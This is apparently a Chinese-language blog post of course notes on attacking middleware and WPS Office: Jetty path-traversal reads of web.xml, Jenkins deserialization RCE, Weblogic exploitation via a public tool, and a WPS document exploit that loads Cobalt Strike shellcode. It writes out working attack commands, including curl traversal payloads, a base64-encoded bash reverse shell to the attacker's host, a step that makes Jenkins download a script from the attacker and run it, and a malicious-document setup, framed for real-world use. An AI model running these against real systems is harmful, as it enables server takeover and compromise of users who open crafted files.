AIGC标识 服务攻防2-中间件安全与实战复现:Jetty / Jenkins / Weblogic / WPS

学习自B站小迪安全课程

前置知识(开始之前需要先弄懂的概念)

  • 服务攻防:面对一台服务器时,它上面通常运行着数据库、中间件、开发框架、应用协议等各类服务。服务攻防就是先判断目标跑了什么服务,再去找对应的已知弱点并利用,最终拿到服务器权限。
  • 中间件:介于操作系统和业务程序之间的一层软件,负责接收用户请求、转发给后端处理。常见中间件有 IIS、Nginx、Apache、Tomcat、Jetty、Jenkins、Weblogic。
  • CVE(Common Vulnerabilities and Exposures):全球通用的公开漏洞编号,相当于每个漏洞的"身份证"。看到 CVE-年份-编号,就能去查它的原理和现成利用方式。
  • RCE(Remote Code Execution,远程代码执行):攻击者可以在目标机器上执行任意命令,相当于拿到了服务器的"遥控器",是危害最高的一类漏洞。
  • 反序列化:程序把"保存下来的数据"还原成内存里的对象。如果这段数据被攻击者控制,还原过程中就可能执行恶意代码——大量 Java 中间件漏洞都源于此。
  • JNDI / JRMP:JNDI 是 Java 的命名与目录接口,JRMP 是 Java 远程方法调用协议。在 Weblogic 漏洞里,攻击者常借助它们让服务器去加载自己控制的恶意类。
  • Servlet 容器:运行 Java Web 程序(Servlet/JSP)的基础环境,Jetty、Tomcat 都属此类。
  • CI(持续集成)工具:自动化编译、测试、发布的工具,Jenkins 是典型代表。
  • Cobalt Strike(CS)/ 反向 Shell:CS 是红队常用的控制框架;反向 Shell 指目标机器主动连回攻击者机器,让攻击者获得一个可交互的命令行。
  • 端口与默认端口:服务通常监听固定端口,扫描这些端口能快速判断服务类型。例如 Jenkins 默认 8080,Weblogic 默认 7001。

工具与命令清单(需要准备的东西)

  • 目标环境:Jetty、Jenkins(默认端口 8080)、Weblogic(默认端口 7001)、WPS Office。
  • WeblogicTool — Weblogic 综合利用工具:https://github.com/KimJun1010/WeblogicTool
  • Jenkins CVE-2017-1000353 利用环境 — Vulhub 靶场:http://github.com/vulhub/CVE-2017-1000353
  • Jenkins CVE-2018-1000861 / CVE-2019-1003000 利用脚本https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
  • nc — 监听反向 Shell 端口,例如 nc -lvvp 5566
  • python3 -m http.server — 在攻击机快速起一个 HTTP 服务,用于投递脚本或网页
  • python exploit.py / python2 exp.py — 运行 Jenkins 相关利用脚本
  • java -jar — 发送 Java 反序列化 payload(如 CVE-2017-1000353-1.1-SNAPSHOT-all.jar
  • curl — 构造并发送 HTTP 请求,验证信息泄漏
  • bash 反向 Shell 命令bash -i >& /dev/tcp/<攻击机IP>/<端口> 0>&1

一、服务攻防的整体框架

服务攻防可以拆成三个互相配合的维度去理解:

  1. 服务判断:通过端口扫描、组合判断、信息来源、强弱特征,确认目标到底运行了什么服务。
  2. 对象类别:常见的有数据库(Redis、CouchDB、H2 等)、中间件(IIS、Nginx、Apache、Tomcat、Jetty、Jenkins、Weblogic 等)、开发框架、应用协议。
  3. 利用方法:复用已知 CVE、弱口令爆破、未授权访问,以及针对具体应用的组合利用。

这套思路决定了我们拿到一个目标后"先看什么、再用什么打"。本节课的演示案例集中在四类中间件/应用上:Jetty 信息泄漏Jenkins RCEWeblogic 反序列化 RCEWPS HW2023 RCE 与 CS 上线。下面按顺序逐一展开。


二、Jetty 信息泄漏(CVE & 配置暴露)

理解

Jetty 是一个开源的 Servlet 容器,为基于 Java 的 Web 容器提供运行环境。它的问题不在于直接执行代码,而在于部分版本对请求路径的解析存在"理解偏差"——攻击者可以用各种编码、空字节、路径遍历的方式绕过访问控制,最终把服务器上本不该对外暴露的 WEB-INF/web.xml 读取出来。

web.xml 是 Java Web 应用的配置文件,里面记录着 Servlet 映射、过滤器、初始化参数等敏感信息。一旦泄漏,等于把应用的"内部结构图"交给了攻击者,是后续深入利用的重要情报来源。

实操

确认目标运行 Jetty 后,用 curl 依次请求下列路径,观察是否返回 web.xml 内容:

curl http://<目标IP>:<端口>/%2e/WEB-INF/web.xml
curl http://<目标IP>:<端口>/..%00/WEB-INF/web.xml
curl http://<目标IP>:<端口>/%u002e/WEB-INF/web.xml
curl http://<目标IP>:<端口>/static?/WEB-INF/web.xml
curl http://<目标IP>:<端口>/a/b/..%00/WEB-INF/web.xml

这些路径分别利用了 %2e(点号的 URL 编码)、%00(空字节截断)、%u002e(Unicode 形式的点)、以及 static? 这类特殊的路径拼接方式来绕过限制。

预期结果:若服务端解析异常,页面会直接回显 web.xml 全文,暴露内部配置。


三、Jenkins 远程代码执行(CVE & RCE)

理解

Jenkins 是基于 Java 的持续集成(CI)工具,默认监听 8080 端口。它历史上有多个反序列化、未授权访问类漏洞,核心危害是攻击者能把任意系统命令塞进目标执行,从而拿到 Shell。

本节课复现三个典型 CVE:

  • CVE-2017-1000353:Java 反序列化漏洞,在 JDK 1.8.0_291 等版本上稳定生效,其他版本可能失效。
  • CVE-2018-1000861 / CVE-2019-1003000:借助未授权或低权限接口,让服务器下载并执行攻击者指定的脚本。
  • CVE-2019-1003000:需要目标存在用户账号密码才能触发,属于"拿到一定权限后进一步提权"的利用。

实操

1)CVE-2017-1000353

先在攻击机监听一个端口,等待目标回连:

nc -lvvp 5566

随后用 java -jar 发送构造好的序列化 payload,并让目标执行反向 Shell:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88YXR0YWNrZXJJUD4vNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"
python exploit.py http://<目标IP>:54217 jenkins_poc.ser

其中那段 base64 解码后就是 bash -i >& /dev/tcp/<攻击机IP>/5566 0>&1,即让 Jenkins 主动连回攻击机的 5566 端口。实战中要把 IP 和端口换成自己的监听地址。

预期结果nc 监听端收到 Jenkins 服务器的反向 Shell。

2)CVE-2018-1000861

攻击机起一个 HTTP 服务,并准备一个要被目标执行的 shell.txt

nc -lvvp 5566
python3 -m http.server 8888

再让 Jenkins 把脚本下载到 /tmp/1.sh 并执行:

python2 exp.py http://<目标IP>:52281/ "curl -o /tmp/1.sh http://<攻击机IP>:8888/shell.txt"
python2 exp.py http://<目标IP>:52281/ "bash /tmp/1.sh"

预期结果:Jenkins 服务器下载并执行 shell.txt 中的命令,攻击机获得反向 Shell。

3)CVE-2019-1003000

该利用链需要用户账号密码,属于拿到一定权限后的进一步利用,复现时需先具备可用的 Jenkins 登录凭据。


四、Weblogic 反序列化 RCE

理解

Weblogic 是 Oracle 推出的 J2EE 应用服务器,默认端口 7001。它大量使用 Java 反序列化机制,历史上因此爆出数量众多的 RCE 漏洞。这些漏洞通常通过 JNDI 注入JRMP 协议 触发的反序列化链,让服务器加载攻击者控制的恶意类,最终执行任意命令。

本节课梳理的 CVE 列表(按出现方式归类):

  • CVE-2023-21839:JNDI 注入利用链
  • CVE-2020-2551:JRMP 协议触发
  • CVE-2020-2555 / CVE-2020-2883:反序列化 RCE
  • CVE-2020-14882:未授权访问
  • CVE-2018-2894:反序列化 RCE
  • CVE-2018-2628 / CVE-2018-2893 / CVE-2018-3245 / CVE-2018-3252:多为 JRMP 反序列化链
  • CVE-2018-3191 / CVE-2016-3510 / CVE-2016-0638 / CVE-2017-10271 / CVE-2017-3248 / CVE-2015-4852:Weblogic 历史经典反序列化漏洞

实操

实战中一般不需要逐个手搓 payload,而是直接使用综合工具 WeblogicToolhttps://github.com/KimJun1010/WeblogicTool)。根据目标 Weblogic 版本选择对应 CVE,配置好 JNDI 或 JRMP 服务的地址后执行利用即可。

预期结果:依据目标版本与所选 CVE,成功触发 JNDI 注入或 JRMP 反序列化,获取目标服务器权限。


五、WPS HW2023 代码执行与 CS 上线

理解

WPS Office 在 HW2023 期间被曝光一个代码执行漏洞,编号 QVD-2023-17241。受影响的版本为:

  • WPS Office 2023 个人版 < 11.1.0.15120
  • WPS Office 2019 企业版 < 11.8.2.12085

WPS 在处理文档/网页时,会因为特定的域名规则校验被绕过,从而加载攻击者的恶意内容。要成功触发,必须满足如下域名规则:

clientweb.docer.wps.cn.{xxxxx}wps.cn

也就是说,攻击者需要准备一个形如 {xxxxx}wps.cn 的域名,并在其中配置上述子域名的解析,让 WPS 在打开文档时去访问攻击者控制的网页,进而执行 Shellcode 并连回 CS。

实操

第 1 步:准备恶意文件。 准备 1.htmlpoc.docx1.html 中嵌入由 Cobalt Strike 生成的 C# Shellcode;poc.docx 中写入指向恶意网页的连接 URL。

第 2 步:配置域名与解析。 申请 {xxxxx}wps.cn 域名,并添加解析:

clientweb.docer.wps.cn.{xxxxx}wps.cn  →  攻击机 IP

第 3 步:在攻击机部署网页服务。1.html 放到攻击机,并起服务:

python3 -m http.server 80

第 4 步:绑定域名(实战中也可用目标机的 hosts 文件)。clientweb.docer.wps.cn.{xxxxx}wps.cn 指向攻击机 IP。

第 5 步:用 WPS 打开 poc.docx 触发。 WPS 加载 1.html,执行其中的 Shellcode,反向连接 CS。

预期结果:WPS 进程加载并执行 Shellcode,Cobalt Strike 成功上线目标主机。


参考链接

posted @ 2026-08-31 14:35  xsec  阅读(16)  评论(0)    收藏  举报